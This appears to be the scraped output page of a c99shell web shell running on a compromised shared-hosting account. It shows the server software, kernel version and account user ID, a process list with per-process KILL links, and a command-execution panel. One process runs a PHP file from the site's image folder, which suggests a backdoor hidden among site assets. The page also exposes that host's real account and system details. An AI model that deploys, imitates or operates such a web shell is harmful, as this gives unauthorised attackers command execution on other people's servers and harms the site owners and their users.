Software: LiteSpeed. PHP/7.4.33 uname -a: Linux server704.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 uid=1309(necipbey) gid=1314(necipbey) groups=1314(necipbey) Safe-mode: OFF (not secure) /lib64/gawk/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
necipbey | 2549112 | 0.0 | 0.0 | 498300 | 32376 | ? | S 09:43 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2551334 | 3.7 | 0.0 | 502944 | 25180 | ? | Ss 09:44 0:02 lsphp:/home/necipbey/public_html/assets/img/3.php | KILL | ||||||||||||||||||||||
necipbey | 2557940 | 5.3 | 0.0 | 500896 | 24692 | ? | Ss 09:45 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2557941 | 5.3 | 0.0 | 502460 | 26504 | ? | Ss 09:45 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2557960 | 10.0 | 0.0 | 502944 | 26472 | ? | Ss 09:45 0:00 lsphp | KILL | ||||||||||||||||||||||
necipbey | 2561153 | 0.0 | 0.0 | 43044 | 2196 | ? R 09:45 0:00 ps -aux | KILL |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0163 ]-- |